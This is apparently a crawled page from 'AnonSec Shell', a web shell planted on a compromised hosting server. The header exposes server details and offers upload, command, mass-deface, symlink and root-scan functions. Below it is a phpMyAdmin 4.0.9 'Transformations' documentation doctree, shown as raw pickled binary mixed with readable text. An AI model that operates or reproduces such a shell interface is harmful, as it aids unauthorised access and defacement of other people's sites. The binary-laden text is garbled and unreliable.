. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 85.13.141.101  /  Your IP : 216.73.216.42   [ Reverse IP ]
Web Server : Apache
System : Linux dd40236 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : w00ad34b ( 1052)
PHP Version : 8.2.30-nmm1
Disable Function : NONE
Domains : 431 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/htdocs/w00ad34b/phpMyAdmin/doc/doctrees/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /www/htdocs/w00ad34b/phpMyAdmin/doc/doctrees/transformations.doctree
�cdocutils.nodes
document
q)�q}q(U	nametypesq}q(Xmanual pageq�Xtransformationsq�XintroductionqNXfile structureq	NXmysql_fetch_field()q
�Xlink sectionq�Xtransformationshowtoq�Xusageq
NXtransformationsintroq�Xtransformationsfilesq�uUsubstitution_defsq}qUparse_messagesq]qcdocutils.nodes
system_message
q)�q}q(U	rawsourceqUUparentqcdocutils.nodes
section
q)�q}q(hUU
referencedqKhhUsourceqcdocutils.nodes
reprunicode
qXH/opt/pma-git/phpmyadmin/release/phpMyAdmin-4.0.9/doc/transformations.rstq��q }q!bUexpect_referenced_by_nameq"}q#hcdocutils.nodes
target
q$)�q%}q&(hX.. _transformations:q'hhhh Utagnameq(Utargetq)U
attributesq*}q+(Uidsq,]q-Ubackrefsq.]q/Udupnamesq0]q1Uclassesq2]q3Unamesq4]q5Urefidq6Utransformationsq7uUlineq8KUdocumentq9hUchildrenq:]q;ubsh(Usectionq<h*}q=(h0]q>Xtransformationsq?ah2]q@h.]qAh,]qB(h7Uid1qCeh4]qDhauh8Kh9hUexpect_referenced_by_idqE}qFh7h%sh:]qG(cdocutils.nodes
title
qH)�qI}qJ(hXTransformationsqKhhhh h(UtitleqLh*}qM(h0]qNh2]qOh.]qPh,]qQh4]qRuh8Kh9hh:]qScdocutils.nodes
Text
qTXTransformationsqU��qV}qW(hhKhhIubaubh$)�qX}qY(hX.. _transformationsintro:qZhhhh h(h)h*}q[(h,]q\h.]q]h0]q^h2]q_h4]q`h6Utransformationsintroqauh8Kh9hh:]qbubh)�qc}qd(hUhhhh h"}qehhXsh(h<h*}qf(h0]qgh2]qhh.]qih,]qj(Uintroductionqkhaeh4]ql(hheuh8K	h9hhE}qmhahXsh:]qn(hH)�qo}qp(hXIntroductionqqhhchh h(hLh*}qr(h0]qsh2]qth.]quh,]qvh4]qwuh8K	h9hh:]qxhTXIntroductionqy��qz}q{(hhqhhoubaubcdocutils.nodes
paragraph
q|)�q}}q~(hX�To enable transformations, you have to setup the ``column_info``
table and the proper directives. Please see the :ref:`config` on how to do so.qhhchh h(U	paragraphq�h*}q�(h0]q�h2]q�h.]q�h,]q�h4]q�uh8Kh9hh:]q�(hTX1To enable transformations, you have to setup the q���q�}q�(hX1To enable transformations, you have to setup the q�hh}ubcdocutils.nodes
literal
q�)�q�}q�(hX``column_info``q�h*}q�(h0]q�h2]q�h.]q�h,]q�h4]q�uhh}h:]q�hTXcolumn_infoq���q�}q�(hUhh�ubah(Uliteralq�ubhTX1
table and the proper directives. Please see the q���q�}q�(hX1
table and the proper directives. Please see the q�hh}ubcsphinx.addnodes
pending_xref
q�)�q�}q�(hX
:ref:`config`q�hh}hh h(Upending_xrefq�h*}q�(Ureftypeq�Xrefq�Urefwarnq��U	reftargetq�Xconfigq�U	refdomainq�Xstdq�h,]q�h.]q�Urefexplicitq��h0]q�h2]q�h4]q�Urefdocq�Utransformationsq�uh8Kh:]q�cdocutils.nodes
emphasis
q�)�q�}q�(hh�h*}q�(h0]q�h2]q�(Uxrefq�h�Xstd-refq�eh.]q�h,]q�h4]q�uhh�h:]q�hTXconfigq���q�}q�(hUhh�ubah(Uemphasisq�ubaubhTX on how to do so.q�q�}q�(hX on how to do so.q�hh}ubeubh|)�q�}q�(hX�You can apply different transformations to the contents of each
column. The transformation will take the content of each column and
transform it with certain rules defined in the selected
transformation.q�hhchh h(h�h*}q�(h0]q�h2]q�h.]q�h,]q�h4]q�uh8Kh9hh:]q�hTX�You can apply different transformations to the contents of each
column. The transformation will take the content of each column and
transform it with certain rules defined in the selected
transformation.qӅ�q�}q�(hh�hh�ubaubh|)�q�}q�(hX�Say you have a column 'filename' which contains a filename. Normally
you would see in phpMyAdmin only this filename. Using transformations
you can transform that filename into a HTML link, so you can click
inside of the phpMyAdmin structure on the column's link and will see
the file displayed in a new browser window. Using transformation
options you can also specify strings to append/prepend to a string or
the format you want the output stored in.q�hhchh h(h�h*}q�(h0]q�h2]q�h.]q�h,]q�h4]q�uh8Kh9hh:]q�hTX�Say you have a column 'filename' which contains a filename. Normally
you would see in phpMyAdmin only this filename. Using transformations
you can transform that filename into a HTML link, so you can click
inside of the phpMyAdmin structure on the column's link and will see
the file displayed in a new browser window. Using transformation
options you can also specify strings to append/prepend to a string or
the format you want the output stored in.q�q�}q�(hh�hh�ubaubh|)�q�}q�(hX�For a general overview of all available transformations and their
options, you can consult your *<www.your-host.com>/<your-install-
dir>/transformation\_overview.php* installation.q�hhchh h(h�h*}q�(h0]q�h2]q�h.]q�h,]q�h4]q�uh8Kh9hh:]q�(hTX`For a general overview of all available transformations and their
options, you can consult your q텁q�}q�(hX`For a general overview of all available transformations and their
options, you can consult your q�hh�ubh�)�q�}q�(hXF*<www.your-host.com>/<your-install-
dir>/transformation\_overview.php*q�h*}q�(h0]q�h2]q�h.]q�h,]q�h4]q�uhh�h:]q�hTXC<www.your-host.com>/<your-install-
dir>/transformation_overview.phpq���q�}q�(hUhh�ubah(h�ubhTX installation.q���q�}r(hX installation.rhh�ubeubh|)�r}r(hX�For a tutorial on how to effectively use transformations, see our
`Link section <http://www.phpmyadmin.net/home_page/docs.php>`_ on the
official phpMyAdmin homepage.rhhchh h(h�h*}r(h0]rh2]rh.]rh,]r	h4]r
uh8Kh9hh:]r(hTXBFor a tutorial on how to effectively use transformations, see our
r��r
}r(hXBFor a tutorial on how to effectively use transformations, see our
rhjubcdocutils.nodes
reference
r)�r}r(hX>`Link section <http://www.phpmyadmin.net/home_page/docs.php>`_rh*}r(UnamerXLink sectionrUrefurirX,http://www.phpmyadmin.net/home_page/docs.phprh,]rh.]rh0]rh2]rh4]ruhjh:]rhTXLink sectionr��r }r!(hUhjubah(U	referencer"ubh$)�r#}r$(hX/ <http://www.phpmyadmin.net/home_page/docs.php>r%hKhjh(h)h*}r&(Urefurir'jh,]r(Ulink-sectionr)ah.]r*h0]r+h2]r,h4]r-hauh:]r.ubhTX% on the
official phpMyAdmin homepage.r/��r0}r1(hX% on the
official phpMyAdmin homepage.r2hjubeubh$)�r3}r4(hX.. _transformationshowto:r5hhchh h(h)h*}r6(h,]r7h.]r8h0]r9h2]r:h4]r;h6Utransformationshowtor<uh8K#h9hh:]r=ubeubh)�r>}r?(hUhhhh h"}r@hj3sh(h<h*}rA(h0]rBh2]rCh.]rDh,]rE(UusagerFj<eh4]rG(h
heuh8K&h9hhE}rHj<j3sh:]rI(hH)�rJ}rK(hXUsagerLhj>hh h(hLh*}rM(h0]rNh2]rOh.]rPh,]rQh4]rRuh8K&h9hh:]rShTXUsagerT��rU}rV(hjLhjJubaubh|)�rW}rX(hX&Go to your *tbl\_structure.php* page (i.e. reached through clicking on
the 'Structure' link for a table). There click on "Change" (or change
icon) and there you will see three new fields at the end of the line.
They are called 'MIME-type', 'Browser transformation' and
'Transformation options'.rYhj>hh h(h�h*}rZ(h0]r[h2]r\h.]r]h,]r^h4]r_uh8K(h9hh:]r`(hTXGo to your ra��rb}rc(hXGo to your rdhjWubh�)�re}rf(hX*tbl\_structure.php*rgh*}rh(h0]rih2]rjh.]rkh,]rlh4]rmuhjWh:]rnhTXtbl_structure.phpro��rp}rq(hUhjeubah(h�ubhTX page (i.e. reached through clicking on
the 'Structure' link for a table). There click on "Change" (or change
icon) and there you will see three new fields at the end of the line.
They are called 'MIME-type', 'Browser transformation' and
'Transformation options'.rr��rs}rt(hX page (i.e. reached through clicking on
the 'Structure' link for a table). There click on "Change" (or change
icon) and there you will see three new fields at the end of the line.
They are called 'MIME-type', 'Browser transformation' and
'Transformation options'.ruhjWubeubcdocutils.nodes
bullet_list
rv)�rw}rx(hUhj>hh h(Ubullet_listryh*}rz(Ubulletr{X*h,]r|h.]r}h0]r~h2]rh4]r�uh8K.h9hh:]r�(cdocutils.nodes
list_item
r�)�r�}r�(hX�The field 'MIME-type' is a drop-down field. Select the MIME-type that
corresponds to the column's contents. Please note that transformations
are inactive as long as no MIME-type is selected.r�hjwhh h(U	list_itemr�h*}r�(h0]r�h2]r�h.]r�h,]r�h4]r�uh8Nh9hh:]r�h|)�r�}r�(hX�The field 'MIME-type' is a drop-down field. Select the MIME-type that
corresponds to the column's contents. Please note that transformations
are inactive as long as no MIME-type is selected.r�hj�hh h(h�h*}r�(h0]r�h2]r�h.]r�h,]r�h4]r�uh8K.h:]r�hTX�The field 'MIME-type' is a drop-down field. Select the MIME-type that
corresponds to the column's contents. Please note that transformations
are inactive as long as no MIME-type is selected.r���r�}r�(hj�hj�ubaubaubj�)�r�}r�(hXXThe field 'Browser transformation' is a drop-down field. You can
choose from a hopefully growing amount of pre-defined transformations.
See below for information on how to build your own transformation.
There are global transformations and mimetype-bound transformations.
Global transformations can be used for any mimetype. They will take
the mimetype, if necessary, into regard. Mimetype-bound
transformations usually only operate on a certain mimetype. There are
transformations which operate on the main mimetype (like 'image'),
which will most likely take the subtype into regard, and those who
only operate on a specific subtype (like 'image/jpeg'). You can use
transformations on mimetypes for which the function was not defined
for. There is no security check for you selected the right
transformation, so take care of what the output will be like.r�hjwhh h(j�h*}r�(h0]r�h2]r�h.]r�h,]r�h4]r�uh8Nh9hh:]r�h|)�r�}r�(hXXThe field 'Browser transformation' is a drop-down field. You can
choose from a hopefully growing amount of pre-defined transformations.
See below for information on how to build your own transformation.
There are global transformations and mimetype-bound transformations.
Global transformations can be used for any mimetype. They will take
the mimetype, if necessary, into regard. Mimetype-bound
transformations usually only operate on a certain mimetype. There are
transformations which operate on the main mimetype (like 'image'),
which will most likely take the subtype into regard, and those who
only operate on a specific subtype (like 'image/jpeg'). You can use
transformations on mimetypes for which the function was not defined
for. There is no security check for you selected the right
transformation, so take care of what the output will be like.r�hj�hh h(h�h*}r�(h0]r�h2]r�h.]r�h,]r�h4]r�uh8K1h:]r�hTXXThe field 'Browser transformation' is a drop-down field. You can
choose from a hopefully growing amount of pre-defined transformations.
See below for information on how to build your own transformation.
There are global transformations and mimetype-bound transformations.
Global transformations can be used for any mimetype. They will take
the mimetype, if necessary, into regard. Mimetype-bound
transformations usually only operate on a certain mimetype. There are
transformations which operate on the main mimetype (like 'image'),
which will most likely take the subtype into regard, and those who
only operate on a specific subtype (like 'image/jpeg'). You can use
transformations on mimetypes for which the function was not defined
for. There is no security check for you selected the right
transformation, so take care of what the output will be like.r���r�}r�(hj�hj�ubaubaubj�)�r�}r�(hXThe field 'Transformation options' is a free-type textfield. You have
to enter transform-function specific options here. Usually the
transforms can operate with default options, but it is generally a
good idea to look up the overview to see which options are necessary.
Much like the ENUM/SET-Fields, you have to split up several options
using the format 'a','b','c',...(NOTE THE MISSING BLANKS). This is
because internally the options will be parsed as an array, leaving the
first value the first element in the array, and so forth. If you want
to specify a MIME character set you can define it in the
transformation\_options. You have to put that outside of the pre-
defined options of the specific mime-transform, as the last value of
the set. Use the format "'; charset=XXX'". If you use a transform, for
which you can specify 2 options and you want to append a character
set, enter "'first parameter','second parameter','charset=us-ascii'".
You can, however use the defaults for the parameters: "'','','charset
=us-ascii'".
r�hjwhh h(j�h*}r�(h0]r�h2]r�h.]r�h,]r�h4]r�uh8Nh9hh:]r�h|)�r�}r�(hXThe field 'Transformation options' is a free-type textfield. You have
to enter transform-function specific options here. Usually the
transforms can operate with default options, but it is generally a
good idea to look up the overview to see which options are necessary.
Much like the ENUM/SET-Fields, you have to split up several options
using the format 'a','b','c',...(NOTE THE MISSING BLANKS). This is
because internally the options will be parsed as an array, leaving the
first value the first element in the array, and so forth. If you want
to specify a MIME character set you can define it in the
transformation\_options. You have to put that outside of the pre-
defined options of the specific mime-transform, as the last value of
the set. Use the format "'; charset=XXX'". If you use a transform, for
which you can specify 2 options and you want to append a character
set, enter "'first parameter','second parameter','charset=us-ascii'".
You can, however use the defaults for the parameters: "'','','charset
=us-ascii'".r�hj�hh h(h�h*}r�(h0]r�h2]r�h.]r�h,]r�h4]r�uh8K>h:]r�hTXThe field 'Transformation options' is a free-type textfield. You have
to enter transform-function specific options here. Usually the
transforms can operate with default options, but it is generally a
good idea to look up the overview to see which options are necessary.
Much like the ENUM/SET-Fields, you have to split up several options
using the format 'a','b','c',...(NOTE THE MISSING BLANKS). This is
because internally the options will be parsed as an array, leaving the
first value the first element in the array, and so forth. If you want
to specify a MIME character set you can define it in the
transformation_options. You have to put that outside of the pre-
defined options of the specific mime-transform, as the last value of
the set. Use the format "'; charset=XXX'". If you use a transform, for
which you can specify 2 options and you want to append a character
set, enter "'first parameter','second parameter','charset=us-ascii'".
You can, however use the defaults for the parameters: "'','','charset
=us-ascii'".r���r�}r�(hXThe field 'Transformation options' is a free-type textfield. You have
to enter transform-function specific options here. Usually the
transforms can operate with default options, but it is generally a
good idea to look up the overview to see which options are necessary.
Much like the ENUM/SET-Fields, you have to split up several options
using the format 'a','b','c',...(NOTE THE MISSING BLANKS). This is
because internally the options will be parsed as an array, leaving the
first value the first element in the array, and so forth. If you want
to specify a MIME character set you can define it in the
transformation\_options. You have to put that outside of the pre-
defined options of the specific mime-transform, as the last value of
the set. Use the format "'; charset=XXX'". If you use a transform, for
which you can specify 2 options and you want to append a character
set, enter "'first parameter','second parameter','charset=us-ascii'".
You can, however use the defaults for the parameters: "'','','charset
=us-ascii'".r�hj�ubaubaubeubh$)�r�}r�(hX.. _transformationsfiles:r�hj>hh h(h)h*}r�(h,]r�h.]r�h0]r�h2]r�h4]r�h6Utransformationsfilesr�uh8KOh9hh:]r�ubeubh)�r�}r�(hUhhhh h"}r�hj�sh(h<h*}r�(h0]r�h2]r�h.]r�h,]r�(Ufile-structurer�j�eh4]r�(h	heuh8KRh9hhE}r�j�j�sh:]r�(hH)�r�}r�(hXFile structurer�hj�hh h(hLh*}r�(h0]r�h2]r�h.]r�h,]r�h4]r�uh8KRh9hh:]r�hTXFile structurer���r�}r�(hj�hj�ubaubh|)�r�}r�(hX�All specific transformations for mimetypes are defined through class
files in the directory 'libraries/plugins/transformations/'. Each of
them extends a certain transformation abstract class declared in
libraries/plugins/transformations/abstract.r�hj�hh h(h�h*}r�(h0]r�h2]r�h.]r�h,]r�h4]r�uh8KTh9hh:]r�hTX�All specific transformations for mimetypes are defined through class
files in the directory 'libraries/plugins/transformations/'. Each of
them extends a certain transformation abstract class declared in
libraries/plugins/transformations/abstract.r���r�}r�(hj�hj�ubaubh|)�r�}r�(hXYThey are stored in files to ease up customization and easy adding of
new transformations.r�hj�hh h(h�h*}r�(h0]r�h2]rh.]rh,]rh4]ruh8KYh9hh:]rhTXYThey are stored in files to ease up customization and easy adding of
new transformations.r��r}r(hj�hj�ubaubh|)�r}r	(hX�Because the user cannot enter own mimetypes, it is kept sure that
transformations always work. It makes no sense to apply a
transformation to a mimetype the transform-function doesn't know to
handle.r
hj�hh h(h�h*}r(h0]rh2]r
h.]rh,]rh4]ruh8K\h9hh:]rhTX�Because the user cannot enter own mimetypes, it is kept sure that
transformations always work. It makes no sense to apply a
transformation to a mimetype the transform-function doesn't know to
handle.r��r}r(hj
hjubaubh|)�r}r(hX�There is a file called '*transformations.lib.php*' that provides some
basic functions which can be included by any other transform function.rhj�hh h(h�h*}r(h0]rh2]rh.]rh,]rh4]ruh8Kah9hh:]r(hTXThere is a file called 'r��r }r!(hXThere is a file called 'r"hjubh�)�r#}r$(hX*transformations.lib.php*r%h*}r&(h0]r'h2]r(h.]r)h,]r*h4]r+uhjh:]r,hTXtransformations.lib.phpr-��r.}r/(hUhj#ubah(h�ubhTX[' that provides some
basic functions which can be included by any other transform function.r0��r1}r2(hX[' that provides some
basic functions which can be included by any other transform function.r3hjubeubh|)�r4}r5(hXThe file name convention is ``[Mimetype]_[Subtype]_[Transformation
Name].class.php``, while the abtract class that it extends has the
name ``[Transformation Name]TransformationsPlugin``. All of the
methods that have to be implemented by a transformations plug-in are:r6hj�hh h(h�h*}r7(h0]r8h2]r9h.]r:h,]r;h4]r<uh8Kdh9hh:]r=(hTXThe file name convention is r>��r?}r@(hXThe file name convention is rAhj4ubh�)�rB}rC(hX8``[Mimetype]_[Subtype]_[Transformation
Name].class.php``rDh*}rE(h0]rFh2]rGh.]rHh,]rIh4]rJuhj4h:]rKhTX4[Mimetype]_[Subtype]_[Transformation
Name].class.phprL��rM}rN(hUhjBubah(h�ubhTX7, while the abtract class that it extends has the
name rO��rP}rQ(hX7, while the abtract class that it extends has the
name rRhj4ubh�)�rS}rT(hX.``[Transformation Name]TransformationsPlugin``rUh*}rV(h0]rWh2]rXh.]rYh,]rZh4]r[uhj4h:]r\hTX*[Transformation Name]TransformationsPluginr]��r^}r_(hUhjSubah(h�ubhTXR. All of the
methods that have to be implemented by a transformations plug-in are:r`��ra}rb(hXR. All of the
methods that have to be implemented by a transformations plug-in are:rchj4ubeubcdocutils.nodes
enumerated_list
rd)�re}rf(hUhj�hh h(Uenumerated_listrgh*}rh(UsuffixriU.h,]rjh.]rkh0]rlUprefixrmUh2]rnh4]roUenumtyperpUarabicrquh8Kih9hh:]rr(j�)�rs}rt(hX5getMIMEType() and getMIMESubtype() in the main class;ruhjehh h(j�h*}rv(h0]rwh2]rxh.]ryh,]rzh4]r{uh8Nh9hh:]r|h|)�r}}r~(hjuhjshh h(h�h*}r(h0]r�h2]r�h.]r�h,]r�h4]r�uh8Kih:]r�hTX5getMIMEType() and getMIMESubtype() in the main class;r���r�}r�(hjuhj}ubaubaubj�)�r�}r�(hXQgetName(), getInfo() and applyTransformation() in the abstract class
it extends.
r�hjehh h(j�h*}r�(h0]r�h2]r�h.]r�h,]r�h4]r�uh8Nh9hh:]r�h|)�r�}r�(hXPgetName(), getInfo() and applyTransformation() in the abstract class
it extends.r�hj�hh h(h�h*}r�(h0]r�h2]r�h.]r�h,]r�h4]r�uh8Kjh:]r�hTXPgetName(), getInfo() and applyTransformation() in the abstract class
it extends.r���r�}r�(hj�hj�ubaubaubeubh|)�r�}r�(hX@The getMIMEType(), getMIMESubtype() and getName() methods return the
name of the MIME type, MIME Subtype and transformation accordingly.
getInfo() returns the transformation's description and possible
options it may receive and applyTransformation() is the method that
does the actual work of the transformation plug-in.r�hj�hh h(h�h*}r�(h0]r�h2]r�h.]r�h,]r�h4]r�uh8Kmh9hh:]r�hTX@The getMIMEType(), getMIMESubtype() and getName() methods return the
name of the MIME type, MIME Subtype and transformation accordingly.
getInfo() returns the transformation's description and possible
options it may receive and applyTransformation() is the method that
does the actual work of the transformation plug-in.r���r�}r�(hj�hj�ubaubh|)�r�}r�(hX�Please see the libraries/plugins/transformations/TEMPLATE and
libraries/plugins/transformations/TEMPLATE\_ABSTRACT files for adding
your own transformation plug-in. You can also generate a new
transformation plug-in (with or without the abstract transformation
class), by using
:file:`libraries/plugins/transformations/generator_plugin.sh` or
:file:`libraries/plugins/transformations/generator_main_class.sh`.r�hj�hh h(h�h*}r�(h0]r�h2]r�h.]r�h,]r�h4]r�uh8Ksh9hh:]r�(hTXPlease see the libraries/plugins/transformations/TEMPLATE and
libraries/plugins/transformations/TEMPLATE_ABSTRACT files for adding
your own transformation plug-in. You can also generate a new
transformation plug-in (with or without the abstract transformation
class), by using
r���r�}r�(hXPlease see the libraries/plugins/transformations/TEMPLATE and
libraries/plugins/transformations/TEMPLATE\_ABSTRACT files for adding
your own transformation plug-in. You can also generate a new
transformation plug-in (with or without the abstract transformation
class), by using
r�hj�ubh�)�r�}r�(hUh*}r�(h,]r�h.]r�h0]r�h2]r�Xfiler�aUroler�j�h4]r�uhj�h:]r�hTX5libraries/plugins/transformations/generator_plugin.shr���r�}r�(hX5libraries/plugins/transformations/generator_plugin.shr�hj�ubah(h�ubhTX or
r���r�}r�(hX or
r�hj�ubh�)�r�}r�(hUh*}r�(h,]r�h.]r�h0]r�h2]r�Xfiler�aUroler�j�h4]r�uhj�h:]r�hTX9libraries/plugins/transformations/generator_main_class.shr���r�}r�(hX9libraries/plugins/transformations/generator_main_class.shr�hj�ubah(h�ubhTX.��r�}r�(hX.hj�ubeubh|)�r�}r�(hXDThe applyTransformation() method always gets passed three variables:r�hj�hh h(h�h*}r�(h0]r�h2]r�h.]r�h,]r�h4]r�uh8K{h9hh:]r�hTXDThe applyTransformation() method always gets passed three variables:r���r�}r�(hj�hj�ubaubjd)�r�}r�(hUhj�hh h(jgh*}r�(jiU.h,]r�h.]r�h0]r�jmUh2]r�h4]r�jpjquh8K}h9hh:]r�(j�)�r�}r�(hX^**$buffer** - Contains the text inside of the column. This is the
text, you want to transform.r�hj�hh h(j�h*}r�(h0]r�h2]r�h.]r�h,]r�h4]r�uh8Nh9hh:]r�h|)�r�}r(hX^**$buffer** - Contains the text inside of the column. This is the
text, you want to transform.rhj�hh h(h�h*}r(h0]rh2]rh.]rh,]rh4]ruh8K}h:]r(cdocutils.nodes
strong
r	)�r
}r(hX**$buffer**rh*}r
(h0]rh2]rh.]rh,]rh4]ruhj�h:]rhTX$bufferr��r}r(hUhj
ubah(UstrongrubhTXS - Contains the text inside of the column. This is the
text, you want to transform.r��r}r(hXS - Contains the text inside of the column. This is the
text, you want to transform.rhj�ubeubaubj�)�r}r(hXT**$options** - Contains any user-passed options to a transform
function as an array.rhj�hh h(j�h*}r(h0]r h2]r!h.]r"h,]r#h4]r$uh8Nh9hh:]r%h|)�r&}r'(hXT**$options** - Contains any user-passed options to a transform
function as an array.r(hjhh h(h�h*}r)(h0]r*h2]r+h.]r,h,]r-h4]r.uh8Kh:]r/(j	)�r0}r1(hX**$options**r2h*}r3(h0]r4h2]r5h.]r6h,]r7h4]r8uhj&h:]r9hTX$optionsr:��r;}r<(hUhj0ubah(jubhTXH - Contains any user-passed options to a transform
function as an array.r=��r>}r?(hXH - Contains any user-passed options to a transform
function as an array.r@hj&ubeubaubj�)�rA}rB(hX**$meta** - Contains an object with information about your column. The
data is drawn from the output of the `mysql\_fetch\_field()
<http://www.php.net/mysql_fetch_field>`_ function. This means, all
object properties described on the `manual page
<http://www.php.net/mysql_fetch_field>`_ are available in this
variable and can be used to transform a column accordingly to
unsigned/zerofill/not\_null/... properties. The $meta->mimetype
variable contains the original MIME-type of the column (i.e.
'text/plain', 'image/jpeg' etc.)
rChj�hh h(j�h*}rD(h0]rEh2]rFh.]rGh,]rHh4]rIuh8Nh9hh:]rJh|)�rK}rL(hX**$meta** - Contains an object with information about your column. The
data is drawn from the output of the `mysql\_fetch\_field()
<http://www.php.net/mysql_fetch_field>`_ function. This means, all
object properties described on the `manual page
<http://www.php.net/mysql_fetch_field>`_ are available in this
variable and can be used to transform a column accordingly to
unsigned/zerofill/not\_null/... properties. The $meta->mimetype
variable contains the original MIME-type of the column (i.e.
'text/plain', 'image/jpeg' etc.)rMhjAhh h(h�h*}rN(h0]rOh2]rPh.]rQh,]rRh4]rSuh8K�h:]rT(j	)�rU}rV(hX	**$meta**rWh*}rX(h0]rYh2]rZh.]r[h,]r\h4]r]uhjKh:]r^hTX$metar_��r`}ra(hUhjUubah(jubhTXc - Contains an object with information about your column. The
data is drawn from the output of the rb��rc}rd(hXc - Contains an object with information about your column. The
data is drawn from the output of the rehjKubj)�rf}rg(hX?`mysql\_fetch\_field()
<http://www.php.net/mysql_fetch_field>`_rhh*}ri(UnamerjXmysql_fetch_field()rkjX$http://www.php.net/mysql_fetch_fieldrlh,]rmh.]rnh0]roh2]rph4]rquhjKh:]rrhTXmysql_fetch_field()rs��rt}ru(hUhjfubah(j"ubh$)�rv}rw(hX'
<http://www.php.net/mysql_fetch_field>rxhKhjKh(h)h*}ry(Urefurirzjlh,]r{Umysql-fetch-fieldr|ah.]r}h0]r~h2]rh4]r�h
auh:]r�ubhTX> function. This means, all
object properties described on the r���r�}r�(hX> function. This means, all
object properties described on the r�hjKubj)�r�}r�(hX5`manual page
<http://www.php.net/mysql_fetch_field>`_r�h*}r�(Unamer�Xmanual pager�jX$http://www.php.net/mysql_fetch_fieldr�h,]r�h.]r�h0]r�h2]r�h4]r�uhjKh:]r�hTXmanual pager���r�}r�(hUhj�ubah(j"ubh$)�r�}r�(hX'
<http://www.php.net/mysql_fetch_field>r�hKhjKh(h)h*}r�(Urefurir�j�h,]r�Umanual-pager�ah.]r�h0]r�h2]r�h4]r�hauh:]r�ubhTX� are available in this
variable and can be used to transform a column accordingly to
unsigned/zerofill/not_null/... properties. The $meta->mimetype
variable contains the original MIME-type of the column (i.e.
'text/plain', 'image/jpeg' etc.)r���r�}r�(hX� are available in this
variable and can be used to transform a column accordingly to
unsigned/zerofill/not\_null/... properties. The $meta->mimetype
variable contains the original MIME-type of the column (i.e.
'text/plain', 'image/jpeg' etc.)r�hjKubeubaubeubeubeubhh h(Usystem_messager�h*}r�(h0]r�Ulevelr�Kh,]r�h.]r�hCaUsourcer�h h2]r�h4]r�Uliner�KUtyper�UINFOr�uh8Kh9hh:]r�h|)�r�}r�(hUh*}r�(h0]r�h2]r�h.]r�h,]r�h4]r�uhhh:]r�hTX2Duplicate implicit target name: "transformations".r���r�}r�(hUhj�ubah(h�ubaubaUcurrent_sourcer�NU
decorationr�NUautofootnote_startr�KUnameidsr�}r�(hj�hh7hhkh	j�h
j|hj)hj<h
jFhhahj�uh:]r�(h%hehUUtransformerr�NU
footnote_refsr�}r�Urefnamesr�}r�Usymbol_footnotesr�]r�Uautofootnote_refsr�]r�Usymbol_footnote_refsr�]r�U	citationsr�]r�h9hUcurrent_liner�NUtransform_messagesr�]r�(h)�r�}r�(hUh*}r�(h0]r�Ulevelr�Kh,]r�h.]r�Usourcer�h h2]r�h4]r�Uliner�KUtyper�j�uh:]r�h|)�r�}r�(hUh*}r�(h0]r�h2]r�h.]r�h,]r�h4]r�uhj�h:]r�hTX5Hyperlink target "transformations" is not referenced.r���r�}r�(hUhj�ubah(h�ubah(j�ubh)�r�}r�(hUh*}r�(h0]r�Ulevelr�Kh,]r�h.]r�Usourcer�h h2]r�h4]r�Uliner�KUtyper�j�uh:]r�h|)�r�}r�(hUh*}r�(h0]r�h2]r�h.]rh,]rh4]ruhj�h:]rhTX:Hyperlink target "transformationsintro" is not referenced.r��r}r(hUhj�ubah(h�ubah(j�ubh)�r}r(hUh*}r	(h0]r
UlevelrKh,]rh.]r
Usourcerh h2]rh4]rUlinerK#Utyperj�uh:]rh|)�r}r(hUh*}r(h0]rh2]rh.]rh,]rh4]ruhjh:]rhTX:Hyperlink target "transformationshowto" is not referenced.r��r}r(hUhjubah(h�ubah(j�ubh)�r }r!(hUh*}r"(h0]r#Ulevelr$Kh,]r%h.]r&Usourcer'h h2]r(h4]r)Uliner*KOUtyper+j�uh:]r,h|)�r-}r.(hUh*}r/(h0]r0h2]r1h.]r2h,]r3h4]r4uhj h:]r5hTX:Hyperlink target "transformationsfiles" is not referenced.r6��r7}r8(hUhj-ubah(h�ubah(j�ubeUreporterr9NUid_startr:KU
autofootnotesr;]r<U
citation_refsr=}r>Uindirect_targetsr?]r@UsettingsrA(cdocutils.frontend
Values
rBorC}rD(Ufootnote_backlinksrEKUrecord_dependenciesrFNUrfc_base_urlrGUhttp://tools.ietf.org/html/rHU	tracebackrI�Upep_referencesrJNUstrip_commentsrKNU
toc_backlinksrLUentryrMU
language_coderNUenrOU	datestamprPNUreport_levelrQKU_destinationrRNU
halt_levelrSKU
